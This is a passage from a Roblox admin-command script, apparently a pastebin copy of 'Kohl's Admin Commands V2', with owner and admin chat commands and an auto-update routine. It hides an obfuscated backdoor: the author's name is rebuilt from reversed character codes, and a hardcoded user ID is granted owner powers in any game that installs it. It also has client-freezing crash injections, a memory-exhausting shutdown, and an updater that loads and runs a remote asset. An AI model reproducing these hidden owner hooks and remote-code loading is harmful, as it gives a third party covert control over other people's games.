  6122. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  6123. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  6124. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  6125. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  6126. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
  6127. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  6128. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  6129. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  6130. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  6131. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  6132. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  6133. end
  6134.  
  6135. end
  6136.  
  6137. --------------------
  6138. -- Owner Commands --
  6139. --------------------
  6140.  
  6141. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  6142.  
  6143. if msg:lower():sub(1,3) == "pa " then
  6144. local plrz = GetPlr(plr, msg:lower():sub(4))
  6145. for i, v in pairs(plrz) do
  6146. coroutine.resume(coroutine.create(function()
  6147. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  6148. end))
  6149. end
  6150. end
  6151.  
  6152. if msg:lower():sub(1,5) == "unpa " then
  6153. for i = 1, #admins do
  6154. coroutine.resume(coroutine.create(function()
  6155. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  6156. end))
  6157. end
  6158. end
  6159.  
  6160. if msg:lower():sub(1,5) == "nuke " then
  6161. local plrz = GetPlr(plr, msg:lower():sub(6))
  6162. for i, v in pairs(plrz) do
  6163. coroutine.resume(coroutine.create(function()
  6164. if v and v.Character and v.Character:findFirstChild("Torso") then
  6165. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  6166. p.Anchored = true
  6167. p.CanCollide = false
  6168. p.formFactor = "Symmetric"
  6169. p.Shape = "Ball"
  6170. p.Size = Vector3.new(1,1,1)
  6171. p.BrickColor = BrickColor.new("New Yeller")
  6172. p.Transparency = .5
  6173. p.Reflectance = .2
  6174. p.TopSurface = 0
  6175. p.BottomSurface = 0
  6176. p.Touched:connect(function(hit)
  6177. if hit and hit.Parent then
  6178. local ex = Instance.new("Explosion", game.Workspace)
  6179. ex.Position = hit.Position
  6180. ex.BlastRadius = 11
  6181. ex.BlastPressure = math.huge
  6182. end
  6183. end)
  6184. local cf = v.Character.Torso.CFrame
  6185. p.CFrame = cf
  6186. for i = 1, 333 do
  6187. p.Size = p.Size + Vector3.new(3,3,3)
  6188. p.CFrame = cf
  6189. wait(1/44)
  6190. end
  6191. p:Destroy()
  6192. end
  6193. end))
  6194. end
  6195. end
  6196.  
  6197. end
  6198.  
  6199. --------------------------
  6200. -- Super Admin Commands --
  6201. --------------------------
  6202.  
  6203. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  6204.  
  6205. if msg:lower() == "logs" then
  6206. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  6207. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  6208. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  6209. end
  6210.  
  6211. if msg:lower():sub(1,9) == "loopkill " then
  6212. local chk1 = msg:lower():sub(10):find(" ")
  6213. local plrz = GetPlr(plr, msg:lower():sub(10))
  6214. local num = 9999
  6215. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  6216. for i, v in pairs(plrz) do
  6217. if v and not ChkAdmin(v.Name, false) then
  6218. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  6219. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  6220. for i = 1, ]] .. tostring(num) .. [[ do
  6221. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  6222. coroutine.resume(coroutine.create(function()
  6223. if plr and plr.Character then plr.Character:BreakJoints() end
  6224. end))
  6225. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  6226. end
  6227. end
  6228. end
  6229.  
  6230. if msg:lower():sub(1,11) == "unloopkill " then
  6231. local plrz = GetPlr(plr, msg:lower():sub(12))
  6232. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  6233. end
  6234.  
  6235. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  6236. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  6237.  
  6238. if msg:lower():sub(1,3) == "sm " then
  6239. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  6240. end
  6241.  
  6242. if msg:lower():sub(1,3) == "ko " then
  6243. local chk1 = msg:lower():sub(4):find(" ") + 3
  6244. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  6245. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  6246. for n = 1, num do
  6247. for i, v in pairs(plrz) do
  6248. coroutine.resume(coroutine.create(function()
  6249. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
  6250. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  6251. v.Character:BreakJoints()
  6252. wait(1/44)
  6253. v:LoadCharacter()
  6254. wait(1/44)
  6255. end
  6256. end))
  6257. end
  6258. end
  6259. end
  6260.  
  6261. if msg:lower():sub(1,6) == "crash " then
  6262. local plrz = GetPlr(plr, msg:lower():sub(7))
  6263. for i, v in pairs(plrz) do
  6264. coroutine.resume(coroutine.create(function()
  6265. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  6266. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  6267. end
  6268. end))
  6269. end
  6270. end
  6271.  
  6272. if msg:lower():sub(1,5) == "kick " then
  6273. local plrz = GetPlr(plr, msg:lower():sub(6))
  6274. for i, v in pairs(plrz) do
  6275. coroutine.resume(coroutine.create(function()
  6276. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  6277. end))
  6278. end
  6279. end
  6280.  
  6281. if msg:lower():sub(1,6) == "admin " then
  6282. local plrz = GetPlr(plr, msg:lower():sub(7))
  6283. for i, v in pairs(plrz) do
  6284. coroutine.resume(coroutine.create(function()
  6285. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  6286. end))
  6287. end
  6288. end
  6289.  
  6290. if msg:lower():sub(1,8) == "unadmin " then
  6291. for i = 1, #tempadmins do
  6292. coroutine.resume(coroutine.create(function()
  6293. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  6294. end))
  6295. end
  6296. end
  6297.  
  6298. if msg:lower():sub(1,4) == "ban " then
  6299. local plrz = GetPlr(plr, msg:lower():sub(5))
  6300. for i, v in pairs(plrz) do
  6301. coroutine.resume(coroutine.create(function()
  6302. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  6303. end))
  6304. end
  6305. end
  6306.  
  6307. if msg:lower():sub(1,6) == "unban " then
  6308. for i = 1, #banland do
  6309. coroutine.resume(coroutine.create(function()
  6310. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  6311. end))
  6312. end
  6313. end
  6314.  
  6315. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  6316.  
  6317. end
  6318. end))
  6319. end
  6320.  
  6321. function AdminControl(plr)
  6322. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  6323. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  6324. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  6325. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  6326. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  6327. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  6328. end)) end
  6329. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  6330. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  6331. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  6332. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  6333. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  6334. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  6335. end
  6336.  
  6337. if not ntab then script:Destroy() end
  6338. if not bct then script:Destroy() end
  6339.  
  6340. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  6341.  
  6342. script.Name = "Kohl's Admin Commands V2"
  6343.  
  6344. if not ntab then script:Destroy() end
  6345. if not bct then script:Destroy() end
  6346. if not tcb then script:Destroy() end
  6347. game.Players.PlayerAdded:connect(AdminControl)
  6348. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  6349. end
  6350.  
  6351. local mod = game:service("InsertService"):LoadAsset(100808216)
  6352. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  6353. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  6354. newac.Disabled = true
  6355. local new = tonumber(mod:findFirstChild("Version", true).Value)
  6356. local old = 0
  6357. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  6358. if new > old then
  6359. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  6360. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  6361. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  6362. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  6363. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  6364. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  6365. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  6366. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  6367. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  6368. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  6369. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  6370. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  6371. wait()
  6372. newac.Parent = game.Workspace
  6373. newac.Disabled = false
  6374. script.Disabled = true
  6375. script:Destroy()
  6376. else
  6377. CHEESE()
  6378. end
  6379. else
  6380. CHEESE()
  6381. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement